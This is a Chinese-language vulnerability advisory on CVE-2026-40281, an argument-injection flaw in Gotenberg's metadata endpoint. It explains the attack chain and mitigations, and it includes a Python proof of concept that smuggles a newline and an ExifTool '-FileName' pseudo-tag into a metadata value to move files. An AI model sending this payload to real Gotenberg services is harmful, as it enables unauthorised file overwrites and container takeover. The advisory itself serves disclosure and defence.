IPBUF安全漏洞报告
English
CVE-2026-40281 CVSS 10.0 严重

CVE-2026-40281 Gotenberg 任意文件写入漏洞

披露日期: 2026-05-06

漏洞信息

漏洞编号
CVE-2026-40281
漏洞类型
参数注入
CVSS评分
10.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Gotenberg

相关标签

参数注入任意文件写入GotenbergExifToolCVSS-10.0RCE

漏洞概述

Gotenberg 8.30.1及之前版本存在严重的参数注入漏洞,元数据写入端点未对值进行有效清洗。攻击者可利用换行符分割ExifTool输入,注入伪标签如-FileName,实现未授权的任意文件重命名、移动、覆盖或创建恶意链接,导致容器文件系统被完全破坏。

技术细节

该漏洞的核心在于Gotenberg在处理PDF元数据时,仅对元数据的键进行了控制字符过滤,却完全忽略了对元数据值的清洗。攻击者精心构造包含换行符的元数据值,可以分割ExifTool进程的标准输入行,从而注入恶意的ExifTool伪标签,例如-FileName、-Directory、-SymLink和-HardLink。利用这一机制,未经身份验证的远程攻击者能够将正在处理的PDF文件重命名或移动到容器文件系统内的任意路径,覆盖任意敏感文件,或在任意位置创建符号链接和硬链接。这是对v8.30.1版本中不完整键清洗修复方案的直接绕过。

攻击链分析

STEP 1
侦察
攻击者发现目标互联网上暴露的Gotenberg服务,且版本在8.30.1及以下。
STEP 2
利用
攻击者向元数据写入端点发送特制的HTTP请求,在元数据值中插入包含换行符的恶意载荷(如 -FileName</path)。
STEP 3
注入
Gotenberg后端调用ExifTool处理元数据,换行符导致命令行参数分割,注入的伪标签被解析为有效命令。
STEP 4
影响
ExifTool执行恶意指令,将正在处理的PDF移动到指定路径、覆盖系统文件或创建符号链接,实现接管。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (placeholder) url = "http://target:3000/forms/pdfengines/metadata" # Exploit payload: Inject -FileName to move the processed PDF # The newline character (\n) splits the ExifTool command line payload = { "metadata": { "Author": "Attacker\n-FileName</tmp/pwned.pdf" } } # Send the request response = requests.post(url, json=payload) print(f"Status Code: {response.status_code}") print("If successful, the processed PDF has been moved to /tmp/pwned.pdf")

影响范围

Gotenberg <= 8.30.1

防御指南

临时缓解措施
如果无法立即升级,建议通过网络策略(如防火墙或安全组)严格限制对Gotenberg API端点的访问权限,禁止公网直接访问,并监控容器内异常的文件操作行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表